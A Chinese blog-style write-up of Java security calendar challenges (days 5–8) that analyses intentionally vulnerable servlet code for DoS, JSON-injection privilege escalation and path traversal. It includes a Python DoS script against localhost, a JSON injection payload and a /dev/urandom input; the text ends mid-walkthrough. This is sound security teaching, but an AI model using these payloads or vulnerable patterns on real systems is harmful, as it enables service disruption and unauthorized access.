简介
java_security_calendar_2019第5天-第8天的部份。分别为Dos(StringBuilder)、Dos(readAllBytes)、权限提升、未授权下载。
Day5
示例代码:
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;
public class Request {
public static String toString(HttpServletRequest req) {
StringBuilder sb = new StringBuilder();
String delimiter = req.getParameter("delim");
Enumeration names = req.getParameterNames();while (names.hasMoreElements()) {
String name = names.nextElement();if (!name.equals("delim")) {
sb.append("" + name + ":
");
String[] values = req.getParameterValues(name);for (String val : values) {
sb.append(val);
sb.append(delimiter);
sb.append("
");
}
}
}return sb.toString();
}
}
看了半天也没发现哪里有问题,看了下提示,这个题是StringBuilder()引发的dos,大致原因是java.util.StringBuilder
中,StringBuilder对象使用大小为16的数组初始化。每次附加新值时,StringBuilder实例都会检查数据是否适合该数组。如果不合适,则数组的大小加倍。而默认情况下,Apache Tomcat的POST请求限制为2MB,最大参数为10000。将传入的delim值结合数组和多个(例如10000个)HTTP参数提交非常大的参数值(例如1.8 MB),便会引起dos攻击。
了解了漏洞原因再看这段代码就比较容易了,方法toString将收到的所有参数,进行遍历,转化为html格式。直接写个脚本,注意先不要把参数写那么大,,,要不可能执行脚本的时候卡掉。。。慢慢的值改上去。
python写个脚本:
headers = {}
headers['User-Agent'] = 'Mozilla/5.0 ' \
'(Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 ' \
'(KHTML, like Gecko) Version/5.1 Safari/534.50'
url="http://localhost:8888/day5/Request"
delim = ""
data="delim=test"+delim
content=""
# 参数值的大小
for i in range(1,36000):
content=content+"test"
# 参数的多少
for i in range(1,500):
data=data+"&delim{index}=".format(index=i)+content
# print(data)
res=requests.post(url,headers=headers,data=data)
print(res.status_code)
当参数的值一调大以后,python脚本就报这个问题,google查了半天,发现在requests库下也有好多人提交了这个问题,也没找到合适的解决方案,不过思路应该没错。
requests.exceptions.ConnectionError: ('Connection aborted.', BrokenPipeError(32, 'Broken pipe'))
Day6
示例代码:
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;
public class ReadFile extends HttpServlet {
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws IOException {
try {
String url = request.getParameter("url");
String data = new String(Files.readAllBytes(Paths.get(url)));
} catch (IOException e) {
PrintWriter out = response.getWriter();
out.print("File not found");
out.flush();
}
//proceed with code
}
}
刚开始以为是个文件遍历,仔细一看,没有对文件进行显示,返回“文件未找到”。
原来又是一个dos。。。传入/dev/urandom,此时url对传入的值未进行任何过滤,通过Files.readAllBytes方法读取/dev/urandom下的字节,引起dos
Day7
示例代码:
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;
public class ApiCache extends HttpServlet {
protected void doPost(HttpServletRequest request,HttpServletResponse response) throws IOException {
storeJson(request, "/tmp/getUserInformation.json");
}
protected void doGet(HttpServletRequest request,HttpServletResponse response) {
loadJson();
}
public static void loadJson() {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
}
public static void storeJson(HttpServletRequest request, String filename) throws IOException {
JsonFactory jsonobject = new JsonFactory();
JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
jGenerator.writeFieldName("permission");
jGenerator.writeRawValue("\"none\"");
jGenerator.writeEndObject();
jGenerator.close();
}
}
大致流程为用户传入username的值,写入到/tmp/getUserInformation.json
中,然后读取该文件,进行解析。 流程很简单,肯定先关注用户输入地方,对username
传入的数据未做清洗,导致可传入其他参数进行污染,在该功能下可导致权限提升。
先正常请求,返回如下:
此时json文件为:
{
"username":"111111111",
"permission":"none
}
构造恶意请求,
username=111111111","permission":"all
可看到用户传入username的值已正确解析成username=111111111","permission":"all
此时json文件为:
"username":"111111111"
"permission":"all"
"permission":"none"
注:若要成功利用此问题,该方法loadJson()必须仅反序列化每个键的第一次出现,以便忽略重复的键。
Day8
示例代码:
import java.io.File;
import java.io.IOException;
import javax.servlet.http.*;
public class GetPath extends HttpServlet {
protected void doGet(HttpServletRequest request,HttpServletResponse response) throws IOException {
try {
String icons = request.getParameter("icons");
String filename = request.getParameter("filename");
File f_icons = new File(icons);
File f_filename = new File(filename);
if (!icons.equals(f_icons.getName())) {
throw new Exception("File not within target directory!");
}
if (!filename.equals(f_filename.getName())) {
throw new Exception("File not within target directory!");
}
String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
File file = new File(toDir, filename);
// Download file...
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
看到两个输入点,icons
、filename
均未做任何过滤,用户传入数这两个参数后,对其名字做判断,其中判断使用的是getName()
方法,该方法仅能做简单../
的过滤,如/../../../../hack.txt
转成hack.txt
。然后执行到关键代码String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
,发现toDir的值为/var/myapp/data/
与f_icons.getName()
拼接而成。此时通过../
的形式对传入的值做控制,从而实现可以访问/var/myapp/
目录下任意文件。
稍微修改代码,让程序跑起来。执行恶意payload,